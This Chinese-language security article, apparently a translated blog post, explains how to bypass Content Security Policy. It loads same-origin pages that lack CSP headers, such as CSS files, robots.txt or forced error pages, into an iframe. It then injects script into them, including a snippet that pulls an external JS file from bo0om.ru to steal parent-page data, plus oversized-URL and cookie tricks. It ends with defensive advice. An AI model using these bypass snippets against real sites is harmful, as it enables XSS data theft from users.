巧妙地绕过CSP:欺骗CSP执行任意代码

前言

内容安全策略(Content Security Policy,CSP)是一种内置的浏览器技术,有助于防止跨站点脚本(XSS)等攻击。它列出并描述了路径和源,浏览器可以从这些路径和源安全地加载资源,这些资源可能包括图像、框架、JavaScricript等。

但是,如果当所有不安全的资源来源都不被允许时,我们仍可以给出一个成功的XSS事件的例子呢?是怎么做到的呢?

 

当一切正常时,CSP是如何工作的

这里一个常见的使用场景是当CSP指定图片只能从当前域加载时,这意味着所有带有外部域的标记都将被忽略。

CSP策略通常用于阻止不受信任的JS和最小化XSS攻击。

下面是一个允许从本地域(self)加载和执行以下资源的示例:

Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;

由于安全策略意味着“除非明确允许,否则禁止使用”,因此配置禁止使用任何执行作为字符串传输的代码的函数。例如:eval,setTimeout,setInterval都将被阻止,因为设置了unsafe-eval

来自外部源的任何内容也会被阻止,包括图像、CSS、WebSocket,特别是JS。

要了解它是如何工作的,请查看我特意放入XSS漏洞的这段代码。尝试以这种方式窃取数据而不惊动用户,即不重定向。

 

欺骗CSP

尽管有这些限制,我们仍然可以上传场景、创建框架和组合图像,因为self并不妨碍使用由SOP(Self Origin Policy)管理的资源。由于CSP也适用于框架,因此相同的策略也适用于可能包含以srcdoc作为协议的数据、blob或文件的框架。

那么,我们真的可以在测试文件中执行任意的javascript吗?

我们要依靠这里的一个整洁的勾子。大多数现代浏览器都会自动将文本文件或图像等文件转换为HTML页面。

这种行为的原因是为了正确地描述浏览器窗口中的内容;它需要有正确的背景、居中等等。不过,iframe也是一个浏览器窗口!因此,在iframe中打开任何需要在浏览器中显示的文件(例如,favicon.ico or robots.txt),只要内容类型正确,就会立即将它们转换为HTML,而无需进行任何数据验证。

如果一个框架打开了一个没有CSP头的站点页面,会发生什么?你可以猜出答案。没有CSP,一个开放的框架将执行页面内的所有JS。如果页面有XSS漏洞,我们可以自己在框架中编写一个js文件。

为了测试这一点,让我们尝试一个场景,它打开了一个iframe。让我们以我们前面已经提到的Bootstrap.min.css为例。

frame=document.createElement(“iframe”);
frame.src=”/css/bootstrap.min.css”;
document.body.appendChild(frame);

让我们看看框架里有什么。正如预期的那样,CSS被转换成HTML,我们设法覆盖了Head的内容(尽管开头是空的)。现在,让我们看看是否可以让它引入外部JS文件。

script=document.createElement(‘script’);
script.src=’//bo0om.ru/csp.js’;
window.frames[0].document.head.appendChild(script);

成功了!这就是我们如何通过iframe执行注入,创建我们自己的js场景,并查询父窗口以窃取其数据。

XSS攻击只需打开一个iframe,并将其指向任何不包含CSP头的路径。它可以是标准的.ico、robots.txt、sitemap.xml、css/js、jpg或其他文件。

PoC

 

简单的方法

如果站点开发人员非常谨慎,并且任何预期的站点响应(200-OK)都包含X-Frame-Options: Deny怎么办?我们还可以试着进去。使用CSP的第二个常见错误是在返回Web扫描错误时缺少保护头。最简单的方法就是尝试打开一个不存在的网页。我注意到许多资源只包含200代码响应的X-Frame-Options,而没有404代码的X-Frame-Options。

如果也考虑到了这一点,我们可以尝试让站点返回一个标准的web服务器“invalid request”消息。

例如,强制Nginx返回“400 bad request”,你所需要做的就是查询/./,以防止浏览器对请求进行规范化,并将/./替换为/./,我们将对圆点和最后一个斜杠使用Unicode。

frame=document.createElement(“iframe”);
frame.src=”/%2e%2e%2f”;
document.body.appendChild(frame);

这里的另一种可能是传递和不正确的Unicode路径,即/%或/%z

然而,让Web服务器返回错误的最简单方法是超出URL允许的长度。大多数现代浏览器都可以组合一个url,这个url比web服务器所能处理的时间要长得多。由此类web服务器和nginx&apache处理的标准默认url长度设置为不超过8KB。

为此,我们可以执行路径长度为20000字节的类似场景:

frame=document.createElement(“iframe”);
frame.src=”/”+”A”.repeat(20000);
document.body.appendChild(frame);

另一种欺骗服务器返回错误的方法是触发cookie长度限制。同样,浏览器支持比web服务器能够处理的更多和更长的cookie。按照同样的设想:

  1. 创建一个巨大的cookie
     for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};
    
  2. 使用任何地址打开iframe,这将导致服务器返回错误(通常没有XFO或CSP)
  3. 移除cookie:
     for(var i=0;i<5;i++){document.cookie=i+”=”}
    
  4. 将自己的js脚本编写到窃取父级数据的框架中

你自己试试吧。下面是一些提示,如果你需要的话:PoC:)

有许多其他方法可以导致Web服务器返回错误,例如,我们可以发送一个很长的POST请求,或者以某种方式导致Web服务器500错误。

 

为什么CSP如此容易受骗,该怎么办?

简单的根本原因是,控制资源的策略嵌入到资源本身中。

为了避免出现这种情况,我的建议如下:

  • CSP报头应该出现在所有页面上。
  • 应将CSP选项配置为仅限于使用特定资源所必需的权限。尝试设置Content-Security-Policy-Report-Only: default-src ‘none’ ,并逐步为特定用户添加权限规则。

如果必须使用不安全内联来正确加载和处理资源,则唯一的保护是使用none或散列源。否则,你将暴露在XSS攻击中,如果CSP不能保护你,为什么需要它?!

此外,正如@Majorisc所分享的那样,从页面中窃取数据的另一个技巧是使用RTCPeerConnection并通过DNS请求传递数据。不幸的是,default-src ‘self’不能防止它。

审核人:yiwang   编辑:边边

(完)